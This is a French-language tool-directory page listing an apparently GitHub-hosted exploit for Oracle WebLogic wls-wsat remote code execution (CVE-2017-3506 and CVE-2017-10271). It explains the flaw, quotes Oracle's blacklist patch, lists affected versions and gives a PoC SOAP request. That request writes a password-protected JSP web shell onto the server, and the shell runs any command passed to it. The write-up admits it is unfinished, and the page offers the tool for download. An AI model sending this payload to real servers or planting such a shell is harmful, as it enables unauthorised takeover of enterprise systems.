Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
Oracle-WebLogic-CVE-2017-10271 — WebLogic wls-wsat RCE CVE-2017-10271 | Kitploit
Outils/GitHubGitHub/peterpeter228/oracle-weblogic-cve-2017-10271
Analyse des VulnérabilitésExploitationExploitation d'Applications WebTests d'IntrusionOutil d'Accès à Distance
GitHubpeterpeter228/oracle-weblogic-cve-2017-10271

Oracle-WebLogic-CVE-2017-10271

WebLogic wls-wsat RCE CVE-2017-10271

Voir le dépôt
561il y a 8 ansPas encore vérifié

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

Oracle-WebLogic-CVE-2017-10271

WebLogic wls-wsat RCE CVE-2017-10271

Description de la vulnérabilité

Au début, les pirates ont exploité la vulnérabilité du composant WLS de WebLogic pour lancer des attaques à distance à grande échelle contre les serveurs d'entreprise. De nombreux serveurs d'entreprise ont été compromis, et le nombre d'entreprises attaquées a montré une tendance à la hausse évidente, nécessitant une attention particulière. Parmi elles, CVE-2017-3506 est une vulnérabilité d'exécution de code à distance exploitant le composant WLS d'Oracle WebLogic. Il s'agit d'une vulnérabilité exploitée dans la nature sans détails publics, et de nombreuses entreprises n'ont pas encore installé le correctif à temps. Oracle a publié un correctif pour cette vulnérabilité en avril 2017.

Notes du correctif CVE-2017-3506 :

root@kitploit:~
public WorkContextXmlInputAdapter(InputStream is)
  {
    ByteArrayOutputStream baos = new ByteArrayOutputStream();
    try
    {
      int next = 0;
      next = is.read();
      while (next != -1)
      {
        baos.write(next);
        next = is.read();
      }
    }
    catch (Exception e)
    {
      throw new IllegalStateException("Failed to get data from input stream", e);
    }
    validate(new ByteArrayInputStream(baos.toByteArray()));
    this.xmlDecoder = new XMLDecoder(new ByteArrayInputStream(baos.toByteArray()));
  }
  
  private void validate(InputStream is)
  {
    WebLogicSAXParserFactory factory = new WebLogicSAXParserFactory();
    try
    {
      SAXParser parser = factory.newSAXParser();
      parser.parse(is, new DefaultHandler()
      {
        public void startElement(String uri, String localName, String qName, Attributes attributes)
          throws SAXException
        {
          if (qName.equalsIgnoreCase("object")) {
            throw new IllegalStateException("Invalid context type: object");
          }
        }
      });
    }
    catch (ParserConfigurationException e)
    {
      throw new IllegalStateException("Parser Exception", e);
    }
    catch (SAXException e)
    {
      throw new IllegalStateException("Parser Exception", e);
    }
    catch (IOException e)
    {
      throw new IllegalStateException("Parser Exception", e);
    }
  }

La correction consiste simplement à ajouter une fonction validate avant la désérialisation : si qName est égal à « object », une exception est levée pour interrompre le processus. C'est à la fois simple et brutal. Cependant, ce type de correction par liste noire est difficile à rendre complètement efficace. Cela mérite réflexion…

La méthode d'exploitation de cette vulnérabilité est relativement simple. L'attaquant n'a qu'à envoyer une requête HTTP spécialement conçue pour obtenir les privilèges du serveur cible, ce qui représente un danger considérable. Comme la vulnérabilité est récente, de nombreuses machines n'ont pas encore appliqué les correctifs nécessaires. Il est probable qu'après cet incident soudain, le nombre d'attaques augmente fortement et que de nombreuses nouvelles machines soient compromises.

Le correctif d'Oracle publié en avril n'a pas complètement corrigé la vulnérabilité CVE-2017-3506 ; il peut être contourné pour toujours exécuter des commandes à distance. La vulnérabilité de contournement CVE-2017-10271 a été corrigée dans le correctif publié par Oracle en octobre.

Numéros de vulnérabilité

CVE-2017-3506 (vulnérabilité d'exécution de commande à distance wls-wsat) CVE-2017-10271 (vulnérabilité de contournement d'exécution de commande à distance wls-wsat)

Versions affectées

Oracle WebLogic Server 10.3.6.0.0 Oracle WebLogic Server 12.1.3.0.0 Oracle WebLogic Server 12.2.1.1.0 Oracle WebLogic Server 12.2.1.2.0

Méthode d'exploitation

CVE-2017-3506

mitre: http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-3506

Poc :

root@kitploit:~
Content-Type: text/xml

<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"><soapenv:Header><work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/"><java><java version="1.4.0" class="java.beans.XMLDecoder"><object class="java.io.PrintWriter"> <string>servers/AdminServer/tmp/_WL_internal/bea_wls_internal/9j4dqk/war/test1111111111.jsp</string><void method="println"><string><![CDATA[<%   if("secfree".equals(request.getParameter("password"))){  
        java.io.InputStream in = Runtime.getRuntime().exec(request.getParameter("command")).getInputStream();  
        int a = -1;  
        byte[] b = new byte[2048];  
        out.print("<pre>");  
        while((a=in.read(b))!=-1){  
            out.println(new String(b));  
        }  
        out.print("</pre>");  
    } %>]]></string></void><void method="close"/></object></java></java></work:WorkContext></soapenv:Header><soapenv:Body/></soapenv:Envelope>

Pas terminé, j'avais des choses à faire…

Télécharger l’outil